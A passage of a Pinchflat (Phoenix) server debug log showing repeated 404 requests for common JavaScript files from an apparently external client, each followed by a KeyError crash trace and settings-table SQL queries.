in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-miNtgEHljsAAG2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"de (truncated) 21:08:41.745 [info] GET /main.js 21:08:41.745 [debug] QUERY OK source="settings" db=0.1ms idle=108.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.745 [debug] QUERY OK source="settings" db=0.0ms idle=99.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.745 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.745 [error] #PID<0.3300.0> running PinchflatWeb.Endpoint (connection #PID<0.3299.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3299.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3300.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-mmq3LU9XcMAAPcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3299.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3299.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/main.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49786}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3300.0>, params: %{}, path_info: ["main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-mmq3LU9XcMAAPcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoen (truncated) 21:08:41.838 [info] GET /env.js 21:08:41.838 [debug] QUERY OK source="settings" db=0.2ms idle=191.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.839 [debug] QUERY OK source="settings" db=0.3ms idle=112.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.839 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.839 [error] #PID<0.3302.0> running PinchflatWeb.Endpoint (connection #PID<0.3301.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3301.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49792}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3302.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-m85OB4CmOQAAPeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3301.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49792}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3301.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49792}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3302.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-m85OB4CmOQAAPeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router. (truncated) 21:08:41.887 [info] GET /app.js 21:08:41.887 [debug] QUERY OK source="settings" db=0.0ms idle=160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.887 [debug] QUERY OK source="settings" db=0.0ms idle=142.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.887 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.887 [error] #PID<0.3304.0> running PinchflatWeb.Endpoint (connection #PID<0.3303.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3303.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49800}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3304.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nIl6n6lWXAAAG4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3303.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49800}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3303.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49800}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3304.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nIl6n6lWXAAAG4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router. (truncated) 21:08:41.909 [info] GET /bundle.js 21:08:41.910 [debug] QUERY OK source="settings" db=0.1ms idle=164.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.910 [debug] QUERY OK source="settings" db=0.0ms idle=71.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.910 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:41.910 [error] #PID<0.3306.0> running PinchflatWeb.Endpoint (connection #PID<0.3305.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3305.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49806}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3306.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-nN8sWoP4QsAAPgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3305.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49806}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3305.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bundle.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49806}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3306.0>, params: %{}, path_info: ["bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => 